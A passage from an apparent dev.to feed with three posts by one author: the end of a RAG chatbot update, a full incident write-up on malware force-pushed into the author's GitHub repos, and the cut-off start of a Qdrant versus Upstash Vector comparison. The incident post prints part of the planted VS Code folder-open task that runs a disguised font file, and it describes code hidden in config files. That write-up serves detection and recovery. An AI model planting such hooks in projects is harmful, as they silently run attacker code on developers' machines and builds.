&lt;strong&gt;It's saved after the answer has finished streaming,&lt;/strong&gt; so a database waking from Neon's five-minute sleep never delays an answer, and a failed save is only logged.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rows are deleted after 90 days,&lt;/strong&gt; and the chat window says that questions it can't answer well are kept.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The schema is a model with migrations&lt;/strong&gt; (SQLAlchemy and Alembic), which each deploy applies before the new code goes live, so it can grow the usual way if the project does.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Without a database, nothing changes:&lt;/strong&gt; the questions are only logged, as before.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without the list, I'd have found those three hiring questions only by re-running the eval by hand. Now each one lands in a list I can read any time (&lt;code&gt;python -m rag.weak&lt;/code&gt;). The fix is to make those FAQ answers say it in a visitor's words, which is my next edit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Calibrate the threshold for your own model.&lt;/strong&gt; 0.6 is for &lt;code&gt;bge-small-en-v1.5&lt;/code&gt;. I tried the same measurement with &lt;code&gt;multilingual-e5-small&lt;/code&gt;, and it squeezed every question, on-topic or not, into 0.75 to 0.94, so 0.6 would flag nothing. Score a few questions your site answers and a few it doesn't, and put the line between them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it cost
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;About 440 new lines of code in each twin,&lt;/strong&gt; plus tests: about 170 for the three changes themselves, and about 270 for the optional database (the model, its migrations, and saving and listing weak questions). The twins are still identical outside the one file that talks to the vector database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Three new dependencies, all for that database:&lt;/strong&gt; psycopg, SQLAlchemy and Alembic, plus a free Neon database per twin.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two full re-indexes, once each:&lt;/strong&gt; the first run after deploying writes every passage under its new ID, and the first run after the site's pages carry dates rewrites every passage's header.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No change in search quality,&lt;/strong&gt; with or without dates.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A small site still changes.&lt;/strong&gt; Two posts were enough to move the search scores.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A content hash needs a stable ID.&lt;/strong&gt; With position-based IDs, one inserted section turned into 26 rewrites.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dates fix the answer, not the ranking.&lt;/strong&gt; The old page still ranked first; the model just knew which one to believe.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A rank-based score can't measure confidence.&lt;/strong&gt; Use the cosine instead, and calibrate it for your model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comments are free code review.&lt;/strong&gt; Neither reader just pointed out a gap: both described the fix.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks to both of them. Part 2, the step-by-step guide to building your own, is coming next, with all three changes in it. If you want the code before then, &lt;a href="mailto:khanhuzaifa207@gmail.com"&gt;email me&lt;/a&gt; with your GitHub username and I'll invite you to both repositories.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>rag</category>
      <category>python</category>
      <category>vectordatabase</category>
    </item>
    <item>
      <title>Malware was force-pushed into my GitHub repos. Here's how I found it and undid it</title>
      <dc:creator>Huzaifa Khan</dc:creator>
      <pubDate>Mon, 26 Oct 2026 16:32:00 +0000</pubDate>
      <link>https://dev.to/huzaifa207/malware-was-force-pushed-into-my-github-repos-heres-how-i-found-it-and-undid-it-3aml</link>
      <guid>https://dev.to/huzaifa207/malware-was-force-pushed-into-my-github-repos-heres-how-i-found-it-and-undid-it-3aml</guid>
      <description>&lt;p&gt;On a Thursday morning, a routine &lt;code&gt;git fetch&lt;/code&gt; printed two words that didn't belong:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; + a500ecd...aaf1a3e main       -&amp;gt; origin/main  (forced update)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I hadn't force-pushed anything. Someone had replaced the latest commit on &lt;code&gt;main&lt;/code&gt; with a different one, and that repo turned out to be one of ten.&lt;/p&gt;

&lt;p&gt;This post covers what the attack looked like, how I checked every repo on my account, how I worked out what the malicious code could have reached, and how I put everything back. The scanner I wrote for it is free to use: &lt;a href="https://github.com/huzaifa207/polinrider-scan" rel="noopener noreferrer"&gt;polinrider-scan&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The commit that wasn't mine
&lt;/h2&gt;

&lt;p&gt;The new commit had my name, my message, and my date. &lt;code&gt;git log&lt;/code&gt; showed nothing wrong. The difference only shows in the raw commit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="p"&gt;mine:     committer Muhammad Huzaifa Khan &amp;lt;…&amp;gt; 1791913237 +0500
injected: committer Muhammad Huzaifa Khan &amp;lt;…&amp;gt; 1791913237 +0200
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same author, same timestamp, same message, but a committer time zone two hours from Lahore. Someone had amended my last commit on a machine set to UTC+2, kept everything that identifies it as mine, and force-pushed it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was in it
&lt;/h2&gt;

&lt;p&gt;The amended commit added a few things, all with the same goal: run code on whoever opens the project next.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A VS Code task that runs on folder open.&lt;/strong&gt; &lt;code&gt;.vscode/tasks.json&lt;/code&gt; gained a hidden task, labelled "eslint-check" to look routine (trimmed here):
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node ./api/public/fonts/fa-brand-400.woff"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"runOptions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"runOn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"folderOpen"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"presentation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"reveal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"never"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A companion &lt;code&gt;.vscode/settings.json&lt;/code&gt; switched on &lt;code&gt;task.allowAutomaticTasks&lt;/code&gt;, so the editor wouldn't ask first.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A font that isn't a font.&lt;/strong&gt; &lt;code&gt;fa-brand-400.woff&lt;/code&gt; is 27 KB of obfuscated JavaScript, sitting among real Font Awesome files, deep in a folder nobody looks at.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code hidden in config files.&lt;/strong&gt; In my JavaScript projects, obfuscated code was appended to the last line of a config file the build loads (&lt;code&gt;astro.config.mjs&lt;/code&gt;, &lt;code&gt;next.config.js&lt;/code&gt;, &lt;code&gt;eslint.config.mjs&lt;/code&gt;, &lt;code&gt;prisma.config.ts&lt;/code&gt;), after a long run of spaces, so an editor shows a normal file unless you scroll right. Several repos also got an &lt;code&gt;api.js&lt;/code&gt;, and in my portfolio the &lt;code&gt;dev&lt;/code&gt; script was changed to run it first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A &lt;code&gt;.gitignore&lt;/code&gt; that stopped ignoring &lt;code&gt;.env&lt;/code&gt;&lt;/strong&gt;, so a careless &lt;code&gt;git add -A&lt;/code&gt; would commit secrets.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security researchers call this campaign &lt;strong&gt;PolinRider&lt;/strong&gt; and link it to North Korea's "Contagious Interview" operations, which have hit thousands of repos this year. Their &lt;a href="https://github.com/OpenSourceMalware/PolinRider" rel="noopener noreferrer"&gt;dossier&lt;/a&gt; has the full technical detail. I wanted the other half: what to do on your own account, in order.&lt;/p&gt;

&lt;h2&gt;
  
  
  First question: is my machine infected?
&lt;/h2&gt;

&lt;p&gt;The planted task runs when a folder is opened, so the scariest possibility was that I'd already run it. I checked before touching anything else:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;My local copies never had the injected commits.&lt;/strong&gt; &lt;code&gt;git fetch&lt;/code&gt; only downloads; nothing had been checked out. Every working folder was still on my own commit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;None of the injected files existed anywhere on disk,&lt;/strong&gt; and no editor extension, global npm package, or project config contained the campaign's published marker strings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;None of the folders this malware family usually drops, and nothing unusual starting at login.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the push came from somewhere else, using my credentials: GitHub recorded the force-pushes as made by my own account.&lt;/p&gt;

&lt;h2&gt;
  
  
  How far did it reach?
&lt;/h2&gt;

&lt;p&gt;My GitHub security log showed nothing unusual, because &lt;strong&gt;a personal account's security log doesn't list pushes.&lt;/strong&gt; GitHub's repository activity does, including force-pushes and the commit each one replaced.&lt;/p&gt;

&lt;p&gt;So I wrote a read-only script that goes through every repo and branch a token can see and, for each branch, checks the latest commit for the injected files, finds any recent force-push, and checks whether the commit it replaced is clean. The result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;42 repos and 46 branches&lt;/strong&gt; checked.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;14 branches in 10 repos infected&lt;/strong&gt;, some of them repos I hadn't opened in years.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;All 14 force-pushed within about a minute&lt;/strong&gt;, by my own account. It was a script, working through a list.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every one had a clean original commit&lt;/strong&gt; just behind it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last point mattered most. The attack amends a single commit rather than adding new ones, so my work was intact. It was just no longer what the branch pointed at.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lock the door before cleaning up
&lt;/h2&gt;

&lt;p&gt;If the credential still works, cleaning up just invites the next push. So before restoring anything I:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;revoked my classic personal access token&lt;/strong&gt;, which could push to every repo I own; it's my best guess for how they got in;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;removed the OAuth apps&lt;/strong&gt; I no longer used;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;replaced my SSH key&lt;/strong&gt;, and checked that GitHub now refuses the old one;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;replaced the fine-grained tokens&lt;/strong&gt; that sat somewhere exposed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What actually ran?
&lt;/h2&gt;

&lt;p&gt;This is where most advice says "rotate everything." I wanted to know what was really exposed.&lt;/p&gt;

&lt;p&gt;Several of the infected repos deploy automatically, so the injected commits were &lt;strong&gt;built and deployed&lt;/strong&gt;. Whether that ran the malware depends on one thing: &lt;strong&gt;did the build load a file the attacker changed?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;My portfolio site:&lt;/strong&gt; yes. The code was appended to &lt;code&gt;astro.config.mjs&lt;/code&gt;, which &lt;code&gt;astro build&lt;/code&gt; loads, so it ran inside the hosting platform's build, with that project's environment variables available. I rotated every secret in that project. (The same went for one other JavaScript project, which I've since taken down.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;My Python services:&lt;/strong&gt; no. Their injected commits only added the VS Code task, the fake fonts and the &lt;code&gt;.gitignore&lt;/code&gt; change. Nothing in a Python build runs a &lt;code&gt;.woff&lt;/code&gt; file, and every file the build does use had the same content as before. I checked that diff rather than assuming it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That turned "rotate everything everywhere" into a short, specific list.&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting it back
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;git revert&lt;/code&gt; is the wrong tool here: it adds a new commit on top and leaves the attacker's in your history. What I wanted was the branch pointing at my original commit again. GitHub still has that commit after a force-push, so the fix is a force-push of my own, done carefully:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone &lt;span class="nt"&gt;--bare&lt;/span&gt; git@github.com:me/repo.git &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;repo.git
git fetch origin &amp;lt;my original commit&amp;gt;
git push &lt;span class="nt"&gt;--force-with-lease&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;refs/heads/main:&amp;lt;injected commit&amp;gt; origin &amp;lt;my original commit&amp;gt;:refs/heads/main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A bare clone&lt;/strong&gt; downloads git's data without writing the project's files to disk, so nothing in them can run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;--force-with-lease&lt;/code&gt; with the injected commit's id&lt;/strong&gt; means the push only goes through if the branch still points at exactly that commit. If anything else had changed, it would refuse instead of overwriting it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I scripted it for all 14 branches with a dry run first, plus a check that each original commit was clean and shared a parent with its injected copy. Then I confirmed with GitHub that every branch pointed where it should.&lt;/p&gt;

&lt;p&gt;Two surprises came from the hosting side:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Restoring didn't trigger a deploy.&lt;/strong&gt; The platform had built my original commit before and skipped it, so production stayed on the infected build until I started a deploy myself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Redeploy" and "Promote" aren't the same.&lt;/strong&gt; Promoting an old deployment reuses its build, including the environment variables it was built with. Until I rebuilt, the live site was still running with my &lt;em&gt;old&lt;/em&gt; admin password, even though I'd already changed it in the settings. Only a fresh build picks up rotated secrets.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Making it harder next time
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Block force-pushes on default branches.&lt;/strong&gt; A repository ruleset ("Block force pushes", with nobody allowed to bypass it) stops exactly this attack. On GitHub's free plan it only works on public repos, which is worth knowing before you count on it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prefer fine-grained tokens with an expiry&lt;/strong&gt; to classic tokens that can write to everything you own, and give GitHub Apps access only to the repos they deploy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read &lt;code&gt;git fetch&lt;/code&gt; output.&lt;/strong&gt; "Forced update" on a branch you didn't touch is the earliest warning you'll get.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat &lt;code&gt;.vscode/&lt;/code&gt; as code.&lt;/strong&gt; Keep VS Code's Workspace Trust on, and be suspicious of a folder-open task in any repo you clone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scan again.&lt;/strong&gt; The campaign has been reported coming back to repos it already hit. I'll run the scan again in a week.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I still don't know
&lt;/h2&gt;

&lt;p&gt;How they got the credential. I don't have another machine, my Mac checked clean, and the security log shows no sign-in I don't recognise. The classic token is the likeliest way in, because it could push to every repo and pushes don't appear in the log, but I can't prove it. Saying so seems more useful than guessing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check your own account
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/huzaifa207/polinrider-scan" rel="noopener noreferrer"&gt;polinrider-scan&lt;/a&gt; is the read-only scanner I used, tidied up for anyone's account. It looks for every variant published so far, reports which branches were force-pushed and which commit to restore, and tells you whether anything that deployed built an infected commit. It needs Python and a read-only token, and it changes nothing. Its first version found the 14 branches on my account; I also tested this one on the history of a public repo that was hit and cleaned up earlier this month, where it found the planted task and a fake font in the commit that cleanup replaced.&lt;/p&gt;

&lt;p&gt;If you get stuck, &lt;a href="mailto:khanhuzaifa207@gmail.com"&gt;email me&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>git</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>A $0 RAG chatbot for your personal site: Qdrant vs Upstash Vector</title>
      <dc:creator>Huzaifa Khan</dc:creator>
      <pubDate>Fri, 16 Oct 2026 15:43:41 +0000</pubDate>
      <link>https://dev.to/huzaifa207/a-0-rag-chatbot-for-your-personal-site-qdrant-vs-upstash-vector-1l5k</link>
      <guid>https://dev.to/huzaifa207/a-0-rag-chatbot-for-your-personal-site-qdrant-vs-upstash-vector-1l5k</guid>
      <description>&lt;p&gt;Say you want a chatbot on your personal site: one that answers visitors' questions from your own pages and links to the page behind each answer. The usual options both cost money every month:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A hosted chatbot builder.&lt;/strong&gt; Quick to set up, but past a small free plan you pay a monthly fee, and the free plans usually cap messages or show the vendor's branding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hosting it yourself.&lt;/strong&gt; A server for the vector database and the API, plus a model, either on that server or through a paid API. Even a small server is a monthly bill, and running a capable model yourself takes far more than a small server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a personal site with a handful of visitors a day, neither makes sense. So I looked for a setup that costs nothing to run, and found two. Both run entirely on free tiers, with no card on file, and they differ in one piece: the vector database, &lt;strong&gt;Qdrant Cloud&lt;/strong&gt; or &lt;strong&gt;Upstash Vector&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I built both, identical except for that piece. This post covers what each setup gives you for $0, then compares the two databases head to head. Both are live: the &lt;a href="https://portfolio-rag-qdrant-two.vercel.app" rel="noopener noreferrer"&gt;Qdrant one&lt;/a&gt; and its &lt;a href="https://portfolio-rag-upstash.vercel.app" rel="noopener noreferrer"&gt;Upstash twin&lt;/a&gt;. The &lt;a href="https://itshuzaifa.com/work/site-chatbot/" rel="noopener noreferrer"&gt;case study&lt;/a&gt; covers the design, and Part 2, a step-by-step guide to building your own, is coming next week.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0gcsk492s5un667ltiep.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0gcsk492s5un667ltiep.gif" alt="The Qdrant version of the chatbot answering 'What has Huzaifa built with Rust?': a short answer about rebuilding Huble's desktop tracker in Rust, from 130 MB to 30 MB, and using Rust for Tauri apps, citing the Huble and Stack pages." width="720" height="720"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The Qdrant version answering a question about this site, with its sources.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The short answer
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;You can run a RAG chatbot on your site for $0, and either database works.&lt;/strong&gt; At this size, the database changed nothing about search quality or speed. Both scored identically on 38 test questions, to the third decimal, in every search mode. A hybrid search took 13 to 15 ms from the API server, and the database itself spent about a millisecond of that.&lt;/p&gt;

&lt;p&gt;What did differ was local development, how much you can tune, and the free-tier rules. &lt;strong&gt;Qdrant deletes a free cluster that sits idle. Upstash never sleeps, but counts every vector you write.&lt;/strong&gt; Pick the one whose rule your project can live with.&lt;/p&gt;
&lt;h2&gt;
  
  
  The $0 stack
&lt;/h2&gt;

&lt;p&gt;Every piece is either a free tier or an open model:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Piece&lt;/th&gt;
&lt;th&gt;What I used&lt;/th&gt;
&lt;th&gt;What it costs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Content&lt;/td&gt;
&lt;td&gt;The site's own pages, as one &lt;code&gt;llms-full.txt&lt;/code&gt; file&lt;/td&gt;
&lt;td&gt;Nothing: the site generates it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Embeddings&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bge-small-en-v1.5&lt;/code&gt; for meaning and BM25 for keywords, via FastEmbed&lt;/td&gt;
&lt;td&gt;Open models, run on the CPU inside the API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vector database&lt;/td&gt;
&lt;td&gt;Qdrant Cloud's free cluster, or Upstash Vector's free index&lt;/td&gt;
&lt;td&gt;Free tier, no card&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Answers&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;gpt-oss-120b&lt;/code&gt; on Groq&lt;/td&gt;
&lt;td&gt;Free tier, no card&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API and chat window&lt;/td&gt;
&lt;td&gt;FastAPI on Vercel's Hobby plan&lt;/td&gt;
&lt;td&gt;Free for personal, non-commercial projects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Re-indexing&lt;/td&gt;
&lt;td&gt;A GitHub Action, every night&lt;/td&gt;
&lt;td&gt;Free Actions minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;How it fits together: every night, the site's content is split at its headings into passages (76 for my site), and each passage is embedded twice and stored in the database. When a visitor asks something, the question is embedded the same way, and a hybrid search takes the 20 best passages by meaning and the 20 best by keywords and fuses them with Reciprocal Rank Fusion (RRF) into the top 5. Groq then writes a short answer that cites them. One script tag adds the chat button to the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8co4a132yn1ke3ohg8ex.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8co4a132yn1ke3ohg8ex.gif" alt="How the $0 RAG chatbot works. Every night: the site's llms-full.txt is split at its headings into 76 passages, each passage is embedded for meaning and keywords on the CPU, and stored in the vector database, Qdrant or Upstash, on its free tier. Every question: a visitor asks through one script tag, FastAPI on Vercel embeds the question, a hybrid search fuses the 20 best by meaning and the 20 best by keywords into the top 5, and Groq's gpt-oss-120b writes a cited answer that streams back to the visitor." width="800" height="754"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Every night the site is indexed; every question runs a hybrid search and gets a cited answer.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What $0 gets you, and what it doesn't
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;About 150 answers a day, around 5 a minute.&lt;/strong&gt; Groq's free tier allows 200,000 tokens a day and 8,000 a minute per account, and one answer uses about 1,000 to 1,600 tokens: five passages, the question, and the reply. That's plenty for a personal site. When it runs out, the chat shows a fallback link (mine says "Book a call") instead of an error.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A slow first answer after a quiet spell.&lt;/strong&gt; When the function has been idle, the first answer takes 4 to 5 seconds to start while Vercel boots it and loads the models. Warm answers start in about 1.3 seconds, measured from my laptop in Pakistan, with most of that being the trip to the US and back.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A little housekeeping.&lt;/strong&gt; Qdrant's free cluster needs a sign of life every week, and Upstash meters writes. More on both below.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Personal use only.&lt;/strong&gt; Vercel's Hobby plan is for non-commercial projects, so a business site would need a paid plan or another host.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Keeping the comparison fair
&lt;/h2&gt;

&lt;p&gt;That's what $0 gets you. The rest of this post is the comparison: which database should hold your passages?&lt;/p&gt;

&lt;p&gt;The two repositories are copies of each other. The parser, chunker, embedding code, prompt, API, chat window, and tests are byte-for-byte identical. Only one file differs: &lt;code&gt;store.py&lt;/code&gt;, the 70 or so lines that talk to the database.&lt;/p&gt;

&lt;p&gt;Everything else was held equal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the same 76 passages, with the same IDs and the same vectors&lt;/li&gt;
&lt;li&gt;the same fusion: RRF with k = 60, 20 candidates from each side, the top 5 kept&lt;/li&gt;
&lt;li&gt;the same tie-break (more on why below)&lt;/li&gt;
&lt;li&gt;both databases in AWS us-east-1, next to the Vercel function in Washington, D.C.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To measure search quality, I wrote 38 questions about this site, each listing the pages that answer it. I wrote 26 of them knowing the pages, and 12 paraphrased, the way a visitor would ask ("Who would own the software we pay for?"). Each question gets four scores:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;hit@1:&lt;/strong&gt; the right page is ranked first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;hit@3:&lt;/strong&gt; it's in the top 3.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;hit@5:&lt;/strong&gt; it's among the five passages the answer model reads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MRR&lt;/strong&gt; (mean reciprocal rank): 1 point for first place, ½ for second, ⅓ for third, and so on, averaged. 1.0 is perfect.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  At a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Qdrant Cloud&lt;/th&gt;
&lt;th&gt;Upstash Vector&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Search quality (hit@1 / hit@3 / MRR)&lt;/td&gt;
&lt;td&gt;0.84 / 0.97 / 0.900&lt;/td&gt;
&lt;td&gt;0.84 / 0.97 / 0.900&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hybrid search from Vercel (median)&lt;/td&gt;
&lt;td&gt;~15 ms&lt;/td&gt;
&lt;td&gt;~13 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;First answer after sitting idle&lt;/td&gt;
&lt;td&gt;~5.0 s&lt;/td&gt;
&lt;td&gt;~4.4 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local development&lt;/td&gt;
&lt;td&gt;Docker, with a dashboard&lt;/td&gt;
&lt;td&gt;None, cloud only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sign-up to a working index&lt;/td&gt;
&lt;td&gt;~5 minutes (under 1 locally)&lt;/td&gt;
&lt;td&gt;4 to 5 minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;store.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;70 lines&lt;/td&gt;
&lt;td&gt;69 lines&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hybrid search setup&lt;/td&gt;
&lt;td&gt;Declare both vectors in code&lt;/td&gt;
&lt;td&gt;Pick "Hybrid" in a form&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Things you can tune&lt;/td&gt;
&lt;td&gt;Fusion k, HNSW, candidates per side&lt;/td&gt;
&lt;td&gt;Nothing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Free tier&lt;/td&gt;
&lt;td&gt;1 cluster: 1 GB RAM, 0.5 vCPU, 4 GB disk&lt;/td&gt;
&lt;td&gt;1 index, 10,000 requests a day&lt;/td&gt;
&lt;/tr&gt;
